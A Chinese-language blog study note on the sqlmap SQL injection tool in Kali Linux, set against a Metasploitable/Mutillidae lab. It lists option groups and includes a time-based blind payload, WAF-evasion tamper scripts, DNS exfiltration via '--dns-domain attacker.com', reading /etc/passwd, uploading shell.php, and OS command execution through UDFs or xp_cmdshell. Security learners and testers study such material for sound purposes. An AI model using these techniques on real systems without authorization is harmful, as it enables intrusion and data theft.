Kali Linux学习笔记—SQLMAP 自动注入

概述

简介

  • 开源 sql 注入漏洞检测、利用工具
  • 检测动态页面中get/post参数、cookiehttp
  • 数据榨取
  • 文件系统访问
  • 操作系统命令执行
  • 引擎强大、特性丰富
  • Xss漏洞检测

五种漏洞检测技术

  • 基于布尔的盲注检测
  • 基于时间的盲注检测
    • ' and (select * from(select(sleep(20)))a)--+
    • 判断服务器执行时间长短
  • 基于错误的检测
  • 基于UNION联合查询的检测
    • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  • 基于堆叠查询的检测
    • ;堆叠多个查询语句
    • 适用于非select的数据修改、删除的操作
  • 支持的数据库管理系统DBMS
    • MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB等

其他特性

  • 数据库直接连接 -d
    • 发现漏洞和管理员账号密码后,不用单独安装数据库客户端程序,sqlmap可直接作为客户端程序连到服务器端口。
    • 不通过SQL注入,制定身份认证信息、IP、端口
  • 与BurpSuite、google结合使用,支持正则表达式限定测试目标
  • Get、post、cookie、Referer、User-Agent(随机或指定)
    • cookie过期后自动处理Set-Cookie头,探测新的cookie,更新cookie信息
  • 限速:最大并发、延迟发送(为了隐蔽不被服务器端发现)
  • 支持Basic、Digest、NTLM、CA身份认证
  • 数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门。

使用说明

基于python2.7开发(2015)

安装

安装
apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
升级
sqlmap --update 在线
git pull 		离线
Kali集成版随kali库更新

实验环境

Metasploitable:172.16.2.65
Web application:Mutillidae

kali linux:172.16.2.63

参数大类

1. 查看功能参数
	sqlmap -h /-hh
-h 仅简单的功能参数  -hh所有的功能参数

2. 功能参数类型:
	Target:指定目标
	Request
	Optimization:性能优化
	Injection
	Detection
	Techniques
	Enumeration
	Operating system access
	General
	Miscellaneous

Target

 Target:指定目标
 -d			另外打开一个连接作为数据库客户端程序连接服务器
 -u			指定一个URL让sqlmap去扫
 -l			逐个url来自burp或者webscarab代理的日志文件检测是否有可利用的注入点
 -m			把多个url保存成文本文件通过-m提交给sqlmap
 -r			可以把http的请求头信息提交给sqlmap
 -g			使用google+正则表达式
 -c			把多个让sqlmap执行的命令保存成配置文件
  • 使用BurpSuite记录post提交给sqlmap

    然后sqlmap -l log.txt -p username

Request

sql注入基于http协议,http协议的各种头以及通过http上传到服务器数据的内容就是request这一类型的参数作用所在。
两种提交post请求的方法:1.BurpSuite代理生成的log文件 2.BupSuite把提交过程中生成的http头信息以及数据段的信息都复制出来放到文本类文件中。

数据段 -data
 get / post都适用
 get方法:输入的值包含在url地址里
 参数提交部分放到--data里
 get方式可把?后的内容放到--data中
 sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f

post方式:

get方法:把完整url拆开为url+data

变量分隔符: --param-del
有些web application在提交数据时不使用&来分隔多个变量名称,有可能使用;
使用--param-del告诉sqlmap正在检查的url中用;代替&
sqlmap -u "http://1.1.1.1/a.php" -data="q=foo;id=1" --param-del=";" -f
cookie头  --cookie
web应用需要基于cookie的身份认证
检查cookie中的注入点(sqlmap自动测试) level>=2才会检查cookie中是否存在注入点
set-cookie/--drop-set-cookie sqlmap发现服务器set了新的cookie,提示是否使用新的cookie
sqlmap -u "" --cookid="" --dbs --level 2
--user-agent
默认情况下格式为:sqlmap/1.0-dev-xxxxxxxxxx(http://sqlmap.org)
--random-agent 随机使用user-agent,有字典文件
所有user-agent保存在 /usr/share/sqlmap/txt/user-agents.txt字典中
启动wireshark抓包右键追踪tcp流可见user-agent。
发现sqlmap去扫描目标服务器什么都发现不了,但是手工提交可以成功,
有理由怀疑目标系统上包含WAF/IDS等过滤异常的机制。
Host头: --host
只有最高扫描级别--level 5才会检查host头中是否存在sql注入漏洞

Referer头: --referer
level >=3
从一个页面点到另一个页面的链接请求中会有referer头

额外的header(自定义): --headders
每个头单独一行(名称区分大小写)
sqlmap -u " " --headers="Host:www.abc.com\nUser-Agent:122"

限定使用get/post方法: --method
--method=POST/GET
基于HTTP协议的身份验证 --auth-type / --auth-cred
	- Basic
	- Digest
	- NTLM
	- sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass"
	--auth-type身份认证类型 --auth-cred账号密码

基于客户端证书认证(少见)
	--auth-file="ca.PFM"
	含有私钥的PEM格式证书文件
	PEM格式的证书链文件
http(s) 代理
 --proxy="http://127.0.0.1:8087"
 --proxy-cred="name:pass"
 --ignore-proxy 忽略系统级代理设置,通常用于扫描本地网络目标
--delay
	发送请求量过于巨大可能触发WAF等机制被过滤掉。
	设置每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟。
	
--timeout
	请求超时时间,浮点数,默认为30秒
	
--retries
	http(s)连接超时重试次数,默认3次
	
--randomize
	长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

--scope
	过滤日志内容,通过正则表达式筛选扫描对象
	sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org) "
	sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
	User-agent中的注入点
	
--safe-url / --safe-freq
	检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
	每发送--safe-freq次注入请求后,发送一次正常请求
	
--skip-urlencode
	默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据

--eval
	每次请求前执行指定的python代码
	每次请求更改或增加新的参数值(时间依赖、其他参数依赖)
	sqlmap -u "http://1.1.1.1/a.php?id=1&hash=hhfhgjkdhgjgfjdsghjdfghsjdfhgjdfghd" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
	

Optimization

--predict-output
	根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
	版本名、用户名、密码、Privileges(优先级、特权)、role、数据库名称、表明、列名
	与--threads参数不兼容
	统计表: /usr/share/sqlmap/txt/common-outputs.txt

--keep-alive
	使用http(s)长连接,性能好
	与--proxy参数不兼容
	长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

--null-connection
	只获取相应页面的大小值,而非页面具体内容
	通常用于盲注判断 真/假,降低网络带宽消耗
	与--text-only参数不兼容(基于页面内容的比较判断 真/假)

--threads
	最大并发线程
	盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
	默认值为1,建议不要超过10,否则可能影响站点可用性
	与--predict-output参数不兼容
	

Injection

-P
	指定 扫描的参数,使--level失效
	-p "user-agent,referer"

--skip
	排除指定的扫描参数
	--level=5 --skip="id,user-agent"

URI注入点
	人工判断哪个是变量值在其后添加*
	URI是个大概念,URL、URN都是URI的具体实现
	sqlmap -u "http://targeturl/paraml/valuel*/param2/value2/"

--dbms
	通过其他手段已经知道数据库管理系统的版本
	--dbms="mysql"
	MySQL<5.0>
	Oracle<11>
	...

--os
	Linux
	Windows

--invalid-bignum / --invalid-logical
	通常sqlmap使用负值使参数取值失效 id=13 -> id=-13
	bignum使用大数使参数失效 id=9999999999
	Logical使用布尔判断使取值失效 id=13 AND 18=19

--no-cast
	榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
	老版本mysql数据库需要开启此开关

--no-escape
	出于混淆和避免出错的目的,payload中用单引号界定字符串时,
	sqlmap使用char()编码逃逸的方法替换字符串
	select 'foo' -> select char(102)+char(111)+char(111)
	本参数将关闭此功能

--prefix / --suffix

--tamper
	混淆脚本,用于绕过应用层过滤、IPS、WAF。好几十个已经编写好的用来绕过的脚本存储在
   /usr/share/sqlmap/tamper
	sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="between.py,randomcase.py"

--level
	1-5级(默认1级)
	/usr/share/sqlmap/xml/payloads 每个级别的区别

--risk
	1-4(默认1/无害)
	risk升高可造成数据被篡改等风险(update)

--string,--not-string,--regexp,--code,----text-only,--titles
	页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,
	但有些页面随时间阈值变化,此时需要认为指定标识真假的字符串。
	

Techniques

检测sql漏洞存在的技术类型

默认使用全部技术
B:Boolean-based blind
E:Error-based
U:Union query-based
S:Stacked queries(文件系统、操作系统、注册表必须)
T:Time-based blind

--time-sec
	基于时间的注入检测相应延迟时间(默认5秒)

--union-cols
	默认联合查询1-10列,随--level增加最多支持50列
	--union-cols 6-9

--union-char
	联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动执行数值
	--union-char 123
	
--dns-domain
	攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
	--dns-doamin attacker.com

--second-order
	在一个页面注入的结果,从另一个页面体现出来
	--second-order http://1.1.1.1/b.php
	

Fingerprint

指纹信息
-f,--fingerprint,-b,--banner
	数据库管理系统指纹信息
	DBMS,操作系统,架构,补丁

Enumeration 枚举

前提:当前数据库管理系统用户可以读取数据库schema信息

--current-user 
	查询当前数据库管理系统的账号

--current-db

--hostname

--users

--privileges -U username
	查询当前用户在数据库管理系统中的特权

--roles
	数据库中的角色

--dbs
	查都有哪些数据库

--tables,--exclude-sysdbs -D dvwa

-T users -D dvwa -C user --columns

--count
	查询表中有几条记录

--schema --batch --exclude-sysdbs元数据(使用默认选项)
	查询数据库的表结构

Dump数据
--dump,-C,-T,-D,--start,--stop

--dump-all --exclude-sysdbs

Brute Force

Mysql < 5.0 没有information_schema库
Mysql >= 5.0,但无权读取information_schema库
微软的Access数据库,默认无权读取MSysObjuects库
--common-tables
--common-columns (Access系统表无列信息)

UDF Injection

用户自定义函数

--udf-inject,--shared-lib
	编译共享库创建并上传至DB Server,以此生成UDF实现高级注入
	Linux:shared object
	Windows:DLL

File System

--file-read="/etc/passwd"
--file-write="shell.php" --file-dest"/tmp/shell.php"

OS

Mysql、postgresql
	上传共享库并生成sys_exec()、sys_eval()两个UDF
Mssql
	xp_cmdshell存储过程(有就用,禁了启,没有建)	

Windows Registory

--reg-read
--reg-add
--reg-del
--reg-key、--reg-value、--reg-data、--reg-type

General

-s				sqlite会话文件保存位置
-t				记录流量文件保存位置
--charset		强制字符编码
			--charset=GBK
--crawl			从起始位置爬站深度
			--batch --crawl=3
--csv-del		dump数据默认存于","分割的csv文件中,指定其他分隔符
			--csv-del=";"
--dbms-cred		指定数据库账号

--flush-session	清空session
--force-ssl
--fresh-queries	忽略session查询结果
--hex			dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
--output-dir=/tmp
--parse-errors	分析和现实数据库内建报错信息
--save			将命令保存成配置文件

Miscellaneous

-z				参数助记符(感觉有点鸡肋)
				用双引号将需要的参数简写进去
--answer		告诉sqlmap不同的问题不同的回答,可结合--batch
--check-waf		检测WAF/IPS/IDS	
-hpp			HTTP parameter pollution
				绕过WAF/IPS/IDS的有效方法
				尤其对ASP/IIS和ASP.NET/IIS
--identify-waf 	彻底的WAF/IPS/IDS检查
--mobile		模拟智能手机设备
--purge-output	清除output文件夹
--smart			当有大量检测目标时,只选择基于错误的检测结果
--wizard		向导模式实现一个基本的sql注入

功能很强大,参数很多,需要多实践掌握做到心中有数。

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值